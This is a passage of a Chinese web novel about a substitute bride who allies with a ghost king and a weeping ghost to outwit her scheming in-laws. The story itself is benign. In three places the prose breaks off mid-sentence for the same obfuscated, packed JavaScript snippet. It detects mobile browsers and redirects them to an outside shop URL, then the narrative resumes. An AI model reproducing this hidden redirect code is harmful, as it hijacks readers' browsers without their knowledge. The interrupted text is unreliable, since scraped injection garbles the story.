求他,柳若璃翻了个白眼,他定是又想提出什么过分的要求。她就是死,也不会如他所愿。 她突然灵光一闪,在场除了讨厌鬼外,还有一只画皮鬼。管他是什么鬼,都可以附在人的身上,为所欲为。 画皮鬼缩在角落茫然无措的时候,柳若璃已然站在她的身前。 她微微弯腰,明媚的面容在摇曳的烛火下显得愈发精致,只是她拧着眉头,嘴角在笑,话里话外却满是威胁。 “鬼鬼,你也不想被我超度吧。” 画皮鬼不争气地打了个哆嗦,弱弱出声:“我叫花蝴蝶。” 柳若璃点了点头,继续出声:“蝶蝶,你愿意帮我一个小小的忙吗?你就附在那个新郎官身上,只需要在里面呆上一会。” 花蝴蝶嘴抽了一下,在她满怀期待的眼神下,僵硬地说了声“好”。 她飘向床榻,却见鬼王挡在那副身躯面前,淡淡地瞥了她一眼,“花蝴蝶,你确定要帮她吗?” 而那群妇人早已来到门前,已然推开一道门缝。 4. 一出好戏 花蝴蝶惴惴不安,犹豫不决,柳若璃急得像热锅上的蚂蚁,哪管什么三七二十一,打出一记凌厉的掌风,直接推着她做出选择。 讨厌鬼觉得无趣,轻飘飘往左挪了一步,避开冲向他且不断尖叫的花蝴蝶。 只听“砰”的一声,大门已经完全打开。与此同时,花蝴蝶也顺利附身,睁开那双略带幽怨的小眼睛。 “儿啊!你瞧瞧你,半日不见,怎变得如此孱弱?”李夫人一迈入门,便捧着自家儿子的脸,温声细语。 下一刻,她渗着寒意的话滚出喉,矛头直指柳若璃,“莫非,是江蕊照顾不周?” 那位尖嗓子的夫人很有眼力见,立马出声附和:“江蕊,你既嫁进李府,便应当以夫为天。如今丈夫病重,你竟不亲自端茶倒水,悉心照料。只会傻傻站在原地,简直呆若木鸡,愚不可及。” 柳若璃盖着红盖头,看不清她们的模样,但听声音也能大致猜出她们的面相,世上应当是不会有人能比她们长得还要刻薄了。 眼下情景,她还不屑与这群无礼之人争辩。她巴不得她们阴阳怪气完,立刻打道回府。 李夫人音量陡然间大了起来:“大郎,你的额头怎么回事,怎会莫名出血?” “是不是被有心之人故意弄伤的?” 大喜之日,亲家不曾出席,新郎官和新娘子双双昏倒,连拜堂仪式都免了,后面大郎虽是已经清醒,却兀自躲起来,不肯与众人交谈。 都怪这晦气的女人! 柳若璃感到身前有一道打量的目光,似是带着滔天的怒气,明晃晃地望着她。 坏了,方才她用力过猛,李大郎头上磕到的伤,她情急之下竟忘记遮掩了。 她急忙挥了挥手指,花蝴蝶看懂她的暗示,捶着胸膛徉做咳嗽,面红耳赤地像是要把肺一股脑咳出来。 一句话说得磕磕巴巴,顺了好大一口气才讲完整,“娘,不要怪罪娘子,她是无辜的。要怪就怪我,是我病得头重脚轻,一时不查竟撞到墙上。” “当真如此?”李夫人仍是疑虑,她总觉得今日哪里都透着一股古怪,但一时之间也说不上来。 她还想再继续准问下去,一道如雷贯耳的响声在她耳旁猛地炸开。 “娘!千错万错都是我的错,你千万不要怪罪夫君。”柳若璃捂着脸假哭,在外人面前却是一副情真意切的模样,“从前我对夫君有过诸多误会,我认为他风流好色、难堪大任。时至今日,我才懂得夫君的难能可贵。” “他善良、真诚、有担当。他与生俱来的共情力,让他不得不同情那些有着悲惨身世的女人。他不过是想给所有女人一个家,他何错之有。” “他看似不学无术,不过是知晓父亲不愿轻易卸下肩上的担子,他为了成全父亲,甚至不惜自毁名声。如此有情有义的大孝子,我心疼他都来不及,怎会舍得伤害他。” “我们两夫妻新婚燕尔,自当好好培养感情,是我硬缠着夫君蒙眼寻我,这才会让他不慎磕到墙上。母亲要怪,就怪我一人吧,是我贪图享乐,是我没有做好一个妻子的本分。” 急促有力的咳嗽声连接不断响起,花蝴蝶简直是对她的胡说八道叹为观止,演着演着也是越来越有劲,配上她此刻脸上的酡红,这声咳嗽反而有一种欲盖弥彰的感觉。 全场惊得鸦雀无声,这群贵妇人哪见过有女子如此坦诚,如此不知羞地讲起夫妻之间的情趣。 再瞧瞧那落满一地、来不及收拾的珠钗,看着委实是战况激烈啊! 一时之间,皆是尴尬地不敢吭声,生怕多问一句,眼前的“疯”女人又来了兴致,将所有事一五一十摊开来讲。 柳若璃激动上前,抓住李夫人的手臂,“母亲,我生是李家的人,死是李家的鬼。我对夫君是真心的,你就放心交与我吧。” 李夫人猛地想要后退,却没想到这小妮子,看着瘦弱力气倒挺大,抓的那叫一个准,根本挣脱不开。儿媳当众深情告白,她虽有心刁难,却也找不到机会,若真给她一个教训,在外人面前可就不占理了。 她缓下神色,轻轻拍着柳若璃的手:“蕊蕊,我也算看着你长大,你向来是个识大体的好孩子,以后大郎有你管着,我也能轻松些。” “天色已晚,便不打扰你们小两口恩爱了。” 一群人浩浩荡荡来,灰头土脸回。离去时,其中一人突然发出疑问:“大郎应当早已挑过该盖头,江蕊怎么一直蒙着红盖头?” 此话一出,所有人停住脚步,齐刷刷望向柳若璃。 柳若璃扯住衣角,剜了眼作乱的讨厌鬼,索性心一横,梗着脖子娇羞道:“还请各位夫人见谅,在你们进来之前,人家还是衣衫不整,所以我的脸……实在是无颜面对各位夫人。” 提问那人顿时羞地捂住嘴,其余人更是不知看向何方,通通统一步伐,一刻也不敢再呆。 终于送走这群长舌妇,柳若璃顿时松了口气。 这个地方是万万不能再呆了,她虽是会点小小易容术,可问题是她压根没见过江蕊,如何凭空变幻出这人模样。 “你倒是有几分能耐,脸皮比我想的还要厚。”讨厌鬼冷不丁出声了,不说话还好,一说话柳若璃就忍不住想要毒哑他,长得人模人样,嘴巴得不饶人,更加让人讨厌了。 她一把揭开红盖头,怒气冲冲地盯着讨厌鬼,“别以为我不知道你方才使的小伎俩,那人都快走了,怎么会突然怀疑我的身份,还不是你控制了她,故意使坏。” 讨厌鬼不以为然,面不红气不喘,还带着些许无辜道:“你这张嘴太能胡说八道了,我只是想看看你的下限在哪。” 柳若璃不甘示弱,阴阳怪气道:“我的口才哪能比得鬼王大人,一出口街巷里的狗都会犬吠。” “口口声声说不会杀我,背地里却搞小动作,想要借他人之手干掉我。” 讨厌鬼挑眉,“不要自轻自贱,以你的实力,干倒她们不过一瞬间。” 柳若璃不愿与他多费口舌,推开门就要离开这是非之地。 谁料那讨厌鬼拦在门口,目光闪烁:“当真要走?” 忽略两人敌对关系,此情此景颇有几分无良女狠心抛弃糟糠夫的既视感。 “当然,难不成我还要留在这里为你做牛做马。”柳若璃横眉冷对,指了指花蝴蝶,“我看,她倒是有几分做你属下的潜质。” 被点名道姓的花蝴蝶,把头缩在双臂里,试图降 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17059186|194974||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 低存在感。 “柳若璃,你难道不想为你父亲翻案吗?”讨厌鬼伏在她耳边,低声轻语,烦闷的空气里莫名冒出一股腥甜的气味,他口中所言卑鄙地带着丝|丝|诱惑,十分拙劣地想要引人上钩。 她可耻地心动了。 但她仍心存怀疑,她怎知这不是他为此精心设下的陷阱,故而问道:“你一只鬼,在凡间莫非还有人脉关系?” “非也非也。” 讨厌鬼歪头看她,“你只需要戴罪立功,然后向皇上求情。” 柳若璃冷笑,“呵,你倒是说说,什么样的功劳,能让皇上放过柳老头。” “比如,擒拿鬼王。”讨厌鬼不知何时,又躺回床榻上,懒洋洋地侧着半个身子,残忍地揭开事实,“宫内无人是柳国师对手,把他困在牢狱里的是他自己。” “是他自己不想走,就算你孤身一人去救他,他也不会跟你走的。” “倒不如,向皇上证明,向全天下证明,你们柳氏一族是清白的。向你的父亲证明,你已经可以出师了。” “擒拿鬼王,或者说,擒拿任何一只厉害的恶鬼,你都可以让你的父亲放心。说不定,你父亲自己就想清楚了,愿意放自己出来,与你见上一面。” 旁观者清,入局者迷。柳若璃着急则乱,完全忘记了宫内无一人能伤到柳老头,即便放眼全世间,也鲜少有一人能伤到柳老头。 可柳老头是她的亲人,万一呢。万一他遇上更厉害的人,万一他受到很严重的攻击,柳若璃垂下眼眸不敢继续设想。 可其实柳老头最大的弱点,就是他唯一在世的女儿。 只有她藏好,柳老头才不会受到旁人挟制。 “怎样,考虑如何?” “要不要跟在我身边,我可以带你去鬼门关,那里有一只厉鬼,我老早就瞅他不顺眼了。待你降伏他,便可自行离去。”他竖起三根拇指,“我发誓,绝不阻拦。” “好!”一锤定音,二人正式结盟。 不管讨厌鬼有没有骗她,她都要放手一搏。 柳若璃捡起地上一只金簪,随意地将头发挽起,束紧宽松的衣带,沉声道:“事不宜迟,我们现在就出发。” “且慢。”讨厌鬼拉住她,方才束紧的衣带又松散开来,“我们还要在李府呆上一阵子。” “为何?”柳若璃皱眉。 “江家人一声不吭就把你拐进李府,你难道就不想报仇,不想弄清其中缘由?” 柳若璃斩钉截铁道:“不想。” 她坚定地望向门外,“目前在我心里,只想捉到一只厉鬼。” 讨厌鬼无奈地摆了摆手;“好吧。” “不过,我在哪,你在哪。不然凭你一个人,无法找到鬼门关的入口。”他语气强硬,“如今,我想留在这,你也只能留在这,懂了吗?” 柳若璃寸步不让,直视他,“我且问你,你见过江蕊吗,你知道她长什么模样吗,明日他们所有人见到我的长相,事情败露他们只会报官抓我。” “我见过她。” 花蝴蝶忽然举起手,插入他们之中。 见到两人同时望过来的目光,花蝴蝶又有些害怕地缩回了脑袋。 5. 以假乱真 花蝴蝶硬着头皮讲道:“我在无妄城徘徊多时,我知道江蕊的模样。” 讨厌鬼打了个响指,嘴角一勾,露出两颗小虎牙:“现在,我们可以留下了吧?” 柳若璃咬牙切齿:“可以。” 她坐在梳妆镜前,望着铜镜里略显狼狈的脸,忍不住苦笑。花蝴蝶先前被她打怕了,此刻有些畏手畏脚,迟疑片刻才敢飘去她的旁边。 她从怀里掏出一张无脸人皮,什么也不说就要往她脸上套。 见状,柳若璃急忙制止她的行为,“你这又是从谁身上扒下来的人皮?” 花蝴蝶身体抖了一抖,手里的人皮面具都差点拿不稳掉下去。她怯声道:“这是我自制的人皮面具,可以随意变幻任何人的模样。” “我生前遭歹人所害,死后遗失了部分记忆,偶尔会莫名变得偏激易怒,方才伤了天师并不是我的本愿,天师要打要罚我也认了。” “至于,我脸上的人皮是从乱葬岗的死尸脸上扒下来的,手里的人皮面具更是干干净净,不沾一点人血。”她“扑通”一声,跪倒在地,恳求道:“但我真的从未杀过人,还请柳天师不要超度我。” 柳若璃没说信不信她,只是淡淡开口:“拿过来吧。”花蝴蝶把人皮敷在她的脸上,旋即吐出一股黑气,那张无脸人皮瞬间变成另外一个人的模样。 铜镜里的少女圆脸杏眼,笑起来有一个小小的梨窝,一看就是个随和亲人的富家小姐。 同时入镜的还有飘在她身旁的花蝴蝶,她的大半张脸皆被头发盖住,但仍然能看出原来秀气的五官,身上萦绕的戾气全被她眼里的清澈掩住。 柳若璃轻轻划过“江蕊”的脸,静静盯着铜镜里的女鬼,只见她呆滞了一会,而后不由自主俯下身子,脸几乎就要伸入铜镜里。 她的瞳孔已经失焦,手指情不自禁抚上脸庞,扒开紧紧贴在脸上的两边头发,嘴里嘟囔着。 “柳天师,我是不是很丑?” 柳若璃将一切照收眼底,不动声色地拿起胭脂,抿了一口,“外貌不堪是被迫,何来丑陋一说,内心肮脏是主动,从里到外皆腌臜。” “花蝴蝶,你说你从未害过人,那我呢?如果不是我会点法术,来的是江蕊本人,或者是任何一个替罪羔羊,你就真的杀人了。” “你的话究竟有几分真,几分假,只有你自己清楚。我只求,你不要像隔壁那个讨厌鬼一样,给我添乱就行了。” 讨厌鬼的声音强行插入:“我还没聋呢,别以为我听不见。” 花蝴蝶的眼泪说来就来,她不知道听进去多少,只是一昧地埋头痛哭,似是又回忆起伤心的往事,更是哭得稀里哗啦,眼泪像不要命般地往下流。 没过多久,柳若璃就抱着椅子,随着一地的泪水飘呀飘,飘向同样在水流中挣扎的讨厌鬼旁边。 他仍然躺在婚床上,只是面上神色早已不复先前的欢乐,脸上什么表情也没有,瞧着麻木极了,甚至隐隐有些爆发的征兆。 终于,他忍不住了,向柳若璃使了使神色,控诉道:“你把人家惹哭了,不能好生哄一下吗?” “她是你的下属,不是我的下属,要哄自然是你这个做主子的先开口。”柳若璃傲娇道,男人就是不懂女人,女人就是要把所有的坏情绪痛痛快快发泄出来,不然一直堵在心里头多难受。 哎呀,差点忘了,他已经不是人了,领悟不到做人的奥妙所在了。 讨厌鬼捂着耳朵,想着尽量减少噪音,听到此话立即反驳:“我何时承认她是我的下属了?” 谁料,此话一出,花蝴蝶哭得更大声了! 讨厌鬼罕见地沉默了,柳若璃趁机对他挑衅一笑。 他不怒反笑:“凡人可是很弱小的,需要充分的睡眠才能打起精神。现在已是子时,她若是一直哭下去,你确定你能入睡?” 这次换柳若璃沉默了,讨厌鬼这句话完全拿捏她的七寸。舒服的床就摆在眼前,可是你却无法入睡,这是一个多么痛的领悟。人不能不睡觉,就像鬼不能不吸阳气一样,痛,太痛了。 她彻彻底底被说服了。 然后她选择了最直观、最有效的办法,一个手刀劈在花蝴蝶的后颈,世界终于安静了。 她揪着花蝴蝶的衣领一头甩在床边,对着讨厌鬼挑眉:“鬼王大人,剩下的就看你了。” 闻言,讨厌鬼不禁起了一身鸡皮疙瘩,他皱着眉头道:我姓贺,唤铭渊,往后你直呼大名即可。” 他冷着张脸,施法抽干了地上如小溪般流淌的泪水。 “贺铭渊,我们要睡床。” 他想也不想拒绝道:“不行。” 柳若璃不乐意了,用看废物的眼神望着他,“你还是个男的吗,是你强行要求我呆在李府,你连这点小小的要求都不能满足,有你这样做盟友的吗?” “很抱歉,你似乎高估了我的品行。什么伦理道德、君子行为,于我而言,狗屁不通。” “床是我的,就连你这个人也是我的。” 贺铭渊把床帘一拉,彻底隔绝了她的视线。 “鬼界有你这般厚颜无耻的鬼王,真是他们的不幸。”柳若璃直摇头吐槽,床上的讨厌鬼只当听不见,回了她一个潇洒的后背。 现阶段她打不过这个阴晴不定的鬼王,只能用一张利嘴不停讲话,试图干扰正欲入睡的贺铭渊。 她坐在方才打的地铺上,眼皮耷拉着,手肘强撑着脑袋,那张嘴却仍不停歇。 终于,贺铭渊动了。 只见他挥了挥手,柳若璃的嘴不受控制般强行合上。 旋即她的脑门迎来一记颇有力道的阴风,她便彻底失去意识昏睡过去。 “柳天师,柳天师!” 是花蝴蝶在叫她,她迷迷糊糊睁开双眼,率先见到的却是贺铭渊那张死人脸。 他居高临下地仰视着,笑道:“你昨晚实在聒噪,莫怪我手下不留情。” “你再不起身,也不知那李夫人又会如何刁难你。” 柳若璃压根未留意他的话,兀自沉浸在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17059187|194974||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己的世界中,她从未睡过如此简陋的卧室,全身上下都感到一股酸痛,更别提此时肚子里流出的咕噜声,想起从前锦衣玉食的日子,不禁在心里默默流泪。 思及此,她的心情愈加烦躁,看着眼前的讨厌鬼更是哪哪都不顺眼。 “又怎么了,鬼王大人?莫非睡在床上也不知足,还想打我这里的主意?” 或许是为昨晚打晕她而感到一丝愧疚,亦或许是不想和她无休止纠缠下去,总之面对她莫名奇妙的火气,贺铭渊也只是退后一步,没有和她进一步争辩。 她起身简单梳洗一番,便望向花蝴蝶道:“时辰不早了,我们出发吧。” 花蝴蝶低着头,扯着袖子说:“柳天师,我去不了。” “为何?”柳若璃捏紧了拳头,如若花蝴蝶不去,只能由讨厌鬼附在李大郎身上,陪她一同去敬茶。 “我只是一介法力低微的小鬼,完全不能在烈日灼炎下现身,哪怕是碰上一丁点日光,都会痛上一整天。” 柳若璃睨了眼贺铭渊,问道:“那他呢?” “他可是鬼王大人,怎会惧怕区区白日。即便是在烈日下呆上一整个白天,他也是不会怕的。”提到他们的鬼王,花蝴蝶顿时挺起胸膛,用夸张的语气侃侃而谈。 柳若璃再转头,贺铭渊已经附身在李大郎身上,似笑非笑地望着她。 “看来你只能和我走了。” “娘子。” 极轻的尾音带着丝暧昧的腔调,激起她一身鸡皮疙瘩。 她不甘示弱地回击,伪造的人脸上是讽刺意味十足的假笑:“那是当然了,相公。” 他们一前一后出门,等赶到大堂的时候,众人已全部到齐,不约而同地打量着这对新婚夫妻。 柳若璃僵着张脸不敢乱动,见众人并未对她的身份起疑,渐渐放下心来。 就在这时,李夫人的声音慢悠悠飘来:“大郎,下次早些来,别让长辈久等。” 明面上是在数落自己儿子,实则是在数落儿媳妇。众人带有深意的眼神望向“江蕊”,昨日种种荒唐事,令他们多多少少对这位新媳有了意见。 一旁侍女端着茶具前来,贺铭渊随意挑了一杯,正欲拿起之际,侍女却阻止了他的动作,慌乱地递给他另一杯。 轮到柳若璃端茶时,指尖触碰到的是滚烫到让人无法忽视的热意。 她猛地抬头,正好看见李夫人嘴角勾起的笑意。 柳若璃冷笑,下马威而已,她才不会怕。 她立即运转丹田内力,再次碰上那滚烫的茶杯,走了几步路,徉作不慎绊了一跤,双水往前一抛,茶杯狠狠砸在李夫人的额头上,里面的热水也尽数洒在她的衣服上。 “哎呦!”李夫人痛哼出声,好不狼狈。 她捂着额头,鲜血从指间溢出,她不敢置信地望着满手血,头脑一昏晕了过去。 周围顿时乱成一团,好好的敬茶礼,变成了灾难现场。 柳若璃轻轻一笑,对着贺铭渊无声道:“爽!” 6. 打探消息 “母亲,是我笨手笨脚,你没有大碍吧。” 柳若璃努力憋住笑,徉做一脸愧疚地跑上前,周围的人都没有她力气大,被她一个肘击赶了下来。 李夫人早已昏的不省人事,本应及时带她入房休息,再请个医师过来瞧瞧,偏生柳若璃硬是不撒手,抱着李夫人的手臂就在那痛哭流涕,被愧疚裹挟的她止不住地左右摇头,几次三番撞在李夫人的胸膛上。 见她死活不肯撒手,众人只好将期冀的目光望向贺铭渊。 他倒是一副很无所谓的样子,还是接收到众人投来的信号,才耸了耸肩走上前,贴近柳若璃的耳畔旁,低沉的声音里尽力压着轻微笑意:“夫人,演的不错,眼下该收场致谢了。” 柳若璃顺势撑着他的手臂起身,哽咽道:“奴家不是故意的,若不是这茶水滚烫,奴家实在是忍受不住,才会一时不慎……”说罢,她又掩面痛哭。 听得在场知情人那叫一个有苦难言,纵使有意想刁难,可受害人昏迷不醒,加害人又哭哭啼啼,扰得所有人脑瓜子嗡嗡响,只能耐下性子先哄这位大嗓子新媳回房。 就这样,李夫人本是想给新入门的儿媳一个教训,没想到反倒是她自个受了惊吓,一病不起发起了高烧。 柳若璃得知时,正吃着手里的糕点,她忍不住大笑出声,嘴里的糕点差一点就喷涌而出,好在她及时憋了回去,坐在她正前方听故事的花蝴蝶才免于一难。 经此一事后,花蝴蝶是愈发崇拜柳若璃,时常用仰慕的眼神望着她,昨日那位李夫人有多么难缠,她也是看在眼里。没曾想今日就败得一塌糊涂,据说没个三五日是下不来床。 收到花蝴蝶一脸崇拜的目光,柳若璃很是受用,她突然觉得在此处呆久点,逗一逗脸皮子薄的花蝴蝶,瞧一瞧不自量力的人好戏,好似也不是什么坏事。 除了,她身边那只不怀好意的讨厌鬼。 虽然她也不懂对方心里打的什么鬼主意,但谁让她今日心情好,她也不想追究那么多,若是讨厌鬼有何要求,她便勉强应一下吧。 旋即她便大发慈悲地赏了他一眼,好心问道:“说吧,你要作甚?” 贺铭渊投来一抹意味深长的目光,柳若璃顿时大感不妙。果不其然,下一刻,她看到讨厌鬼张开那副吐不出人话的嘴,冷冰冰说道:“柳大小姐,恐怕要委屈你一下,做我的贴身丫鬟。” 柳若璃瞪大眼睛,不可置信道:“青天白日,你在说梦话?” 话音刚落,一件黄色的衣服就在她眼皮子底下抛掷过来,遮挡住她所有视线。 “顶着江蕊的脸打探消息,太过于引人注目,这是我给你准备的第二个身份,李大郎新买回来的丫鬟。” 柳若璃思虑良久,勉强接受这个说法,但她还是忍不住问道:“还有别的办法吗?” 只见贺铭渊颔首,肯定道:“有倒是有,不过你需要女扮男装。” “为何?” “做我的贴身小厮,当然得是男人。” 一番话,像泼了一盆凉水狠狠浇灭了柳若璃心底重新燃起的希望。 她暂时找不到证据,但她深深怀疑讨厌鬼是故意而为之。 罢了,她从前走南闯北,也曾扮演过不少角色,演戏于她而言信手拈来。 于是,她勉为其难地答应了贺铭渊这个请求,离府后寻了处隐蔽的角落,揭开脸上的面皮,又脱下外面一层薄衫,露出早就穿戴后的服饰。 这下,任谁来也瞧不出她是李府少奶奶。 一切就绪后,贺铭渊才姗姗来迟。 “你可打探到什么有用的消息?”柳若璃穿上新衣后,觉得浑身都透着一股难受,身上这料子委实粗糙了些,她穿着很是不习惯。 贺铭渊瞥了她一眼,便察觉出她的异样:“柳大小姐,又怎么了?是这身衣服不合身,还是穿着不合心意。” “动作幅度如此之大,不似你往日风格啊!” “你以为我想,我从来没有穿过这种料子。要不是你非要留在这个鬼地方,我怎会沦落至此。”柳若璃从上至下扫视他,愤恨道:“若我没猜错,你生前应当也是个世家贵公子,想必也没受过什么苦吧。我这身衣服拿给当初的你穿,你会穿吗?还不是只会站在一旁说风凉话。” “记住,你现在的身份是我新买的丫鬟,不是养尊处优的大小姐,不要再用你那眼高于顶的眼神看别人。”贺铭渊垂头俯视,玩味的语气中带着一丝调侃。 柳若璃眨巴着眼睛,歪头露出微笑:“不用你提醒,我自有分寸。另外,有一件事我不得不告诉你,那就是我很少会用这种眼神看人,一般有这种眼神的时候,就是我在针对某一个人。” “你是不是应该好好反思一下,为何会被我针对呢?” 贺铭渊偏头不看她,轻哼道:“伶牙俐齿。” 柳若璃淡淡一笑,双手抱拳:“彼此彼此。” 随后两人便各站一排,后背对着后背,谁也不看谁,还是贺铭渊主动开口说话,难得讲得有些犹豫,好似口中所言非常难以启齿:“你不在府里,花蝴蝶老是不停念叨,她真的很胆小又爱哭,你最好早些回去瞧瞧。” 柳若璃这才肯正眼瞧他,“她若是哭了,定是被你吓哭的。” 贺铭渊不予置否,略微僵硬地把话题引到江家人身上:“我这里有江家的最新消息,要不要听?” 柳若璃挑了挑眉,示意他继续往下说。 “江家人早在昨夜离开此地,听闻是去长安城洽谈生意。” “你不觉得颇有几分古怪?” 一听到江家人,柳若璃就不由得怒上心头,闷声道:“他们这是做贼心虚,若是不想让自己女儿嫁进李府,就应该早些说清楚,何必将我牵连进来。” “所以,这才是事情的有趣所在。”贺铭渊的声线变得莫名轻快起来,柳若璃敏锐地察觉到,对于这场替嫁事件,他一个旁观者似乎对此有着极为浓厚的兴致。 根据他从外面打探来的消息得知,江家世代经商,早些年一直在京城居住,后面不知何故,举家迁回无妄城的祖宅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17059188|194974||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。一住就是五年之久,他们在京城便是家财万贯,来了无妄城更是引人觊觎。婚后多年只产下一女,将其视为掌上明珠,本欲为其寻一入赘夫君,不曾想李家人却在这时找上门来,有意为家中大郎与令千金结秦晋之好。 李府主母乃县令胞妹,城内多的是人想要巴结。商贾之女嫁与县令之侄相当于是高嫁,普通人基本皆会当场点头应好。偏偏无妄城谁人不知,李家大郎风流成性、拈花惹草,常年混迹于醉仙楼之中,是个彻头彻尾的伪君子,他们又怎愿把宝贝女儿托付给如此品德败坏之人。是以,对于这桩明摆着吃绝户的婚事,他们两夫妻是百般推脱。却不知为何,一月后,二人突然改了主意。 柳若璃听完后,皱着眉头思考道:“如此看来,此事或许另有隐情。” “莫不是李夫人见软的不行,来硬的。威胁他们把女儿嫁过来,不然就杀了他们?” 回忆几次与李夫人的接触,她看上去虽然自私利己,也爱耍些阴谋诡计,但就她这蠢笨无知、不成气候的性子,绝不像是能做出滥杀无辜之人的事。 “真相如何,尚不明确。天色已晚,打道回府吧。” 贺铭渊走在前面,柳若璃跟在后面,身体虽然在动,但脑子完全沉浸在自己的幻想之中,待回过神时,人已经走到李府门前。 讨厌鬼的声音在她耳边响起:“等会管家到了,脾气收敛点。恕我直言,你现在完全不像寄人篱下的丫鬟,更像是一个家道中落的贵女。” 柳若璃摇了摇头,叹气道:“我也不想,可惜我天生丽质,气质过于出众,即便是有人怀疑也很正常。” 话毕,管家恰巧入门,正细细打量着她,看了好一会儿,不禁疑惑出声:“姑娘,我观你肤若凝脂,手心也未生出茧子,一看从小就娇生惯养,十指不沾阳春水。府内杂活众多,你确定能做得了?” 她早已给自己编好一个凄惨无比的身世,什么可怜孤女卖身葬父、痴情妇遭薄情郎狠心休弃、假千金被真千金赶出家门,从话本子里随便挑一个,再配上她逼真的演技,完全可以演绎出来。 柳若璃正欲开口,却被贺铭渊拦住了,她有些不爽,讨厌鬼影响了她的发挥。 只见他吩咐管家:“她是我新买的丫鬟,从今日开始,便是我的贴身婢女,以后归我所管。” 前面这些听着都挺正常,偏偏他又加了后面几句,“记住,千万不能让她做粗活,她只需要做一件事,照料我一人足矣。” 此话一出,管家的目光开始若有若无地扫视着他们二人,隐约之中带着丝不认同的谴责,连带着对她也没什么好脸色。 柳若璃也没想到,一日之内,她竟从明媒正娶的新娘子变成任人宰割的小丫鬟,现在更是被当成破坏有情人的毒妇。 随后她就惊恐地看到管家拉住贺铭渊窃窃私语,细微的声音一句不差地流入她的耳中。 “少爷,你身子骨刚好一点,在美色上需得节制啊!” 她绝望地捂住耳朵,在心中痛苦呐喊,她的耳朵脏了! 7. 各怀鬼胎 就这样,新入门的江家大小姐因心中有愧,一路哭着跑回娘家面壁思过。而李大郎转头就买了一个漂亮丫鬟,并破例令其成为自己的贴身婢女。 一时间,新婚夫妻感情不和,大少爷疑似要纳通房的消息不胫而走,从头到尾传遍整个李府。 而导致事情发生的罪魁祸首正在书房悠哉游哉,身侧还有美婢服侍,好不痛快。 “阿言,研磨。”贺铭渊放下手中书籍,懒洋洋地命令着,突然降级为婢女的柳若璃。 “好的,大少爷。”这句话柳若璃几乎是咬着后槽牙,从喉咙里吼出来的。 她的小字唤言卿,是以昨夜登记名号时,她无奈报上此名。可如今,这讨厌鬼一口一个阿言,令她不得不后悔,她昨夜应该随便取一个名字应付过去。 碍于屋内还有其他婢女,她只能忍辱负重听从命令,耐着性子做好他吩咐的事。 可下一刻,那个无耻小人发出了更令人难以容忍的命令:“阿言,过来给本少爷捶捶背。” “啪——”柳若璃重重放下墨条,墨水即将喷涌而出,她一个快步躲过,闪到贺铭渊的背后,双手放在他的肩上,牢牢将其锢在座位上动弹不得。 墨水溅到他洁白无瑕的衣衫上,还有几滴毫不留情地落在他崎岖的脸上,本就平庸到碍眼的面容此刻愈发显得滑稽不堪。 他转头目视始作俑者,整张脸上唯一还算可取之处的便是他的眼睛,深邃的眼眸微微一弯,仿若盛载着着浩瀚星河,足以蛊惑旁人沉溺于绚烂的星海里。 始作俑者还浑然不觉,脸上仍未散去的笑意被抓个正着。 他倒是不慌不忙,拿起手帕擦去面上污渍后,才慢悠悠质问道:“不解释一下?” 柳若璃没有动口,先动起了手,她攥紧拳头捶在他的肩膀上,谄媚笑道:“少爷,奴婢自知有错,愿以最拿手的按摩手艺伺候,望您宽宥。” 任谁瞧这场面都是和乐融融、主仆情深,只有贺铭渊知晓她到底使了多大的力气,方才那一拳捶在他的肩胛骨上,身上几乎痛得麻了一半,一时半会恐怕还站不起来。 更可怕的是,那人还使劲眨巴着她那双清澈无邪的杏眼,故意伪装成无事发生般,单纯而又无辜地望着他。 “少爷,觉得怎样,是不是还不错?” 他附在此人身上,痛觉是共通的。 如果是说力道的话,他承认的确很不错,差点把这副身体锤归西,对于凡人而言,可以说是天赋异禀。 为了不更换新身体,他只得昧着良心道:“不行。” 可惜这番话并未让柳若璃消停,她似乎意犹未尽,对自己所展示出来的实力并不满意。 旋即又向他发出邀请:“少爷,您说不行,就说明我还得练练。” 而后便不顾他意愿,自顾自地上手,这次她看上了他挺拔的后背,单手出拳便是一阵猛敲,痛觉如雨后春笋般在他的体内不断蔓延。 他其实已经痛得直不起腰,可是在这么多人面前,他无论如何也不会弯下。他得推翻之前的言论,这小姑娘的手劲,堪比千年恶鬼。 在一次更猛烈的锤击来临之前,贺铭渊终于忍不住开口:“够了。” 毕竟再不出声阻止,不出意外他要当众口吐鲜血了。 看见他吃瘪,柳若璃眉眼里的笑意也是愈发真实:“少爷,这次可满意?” 贺铭渊不语,只是一味沉默。 他好像陷入了死循环,不论他是否满意,最终结果都是再来一次。 “退下吧。” 屋内婢女听令统一离去,只有柳若璃还站在原地。 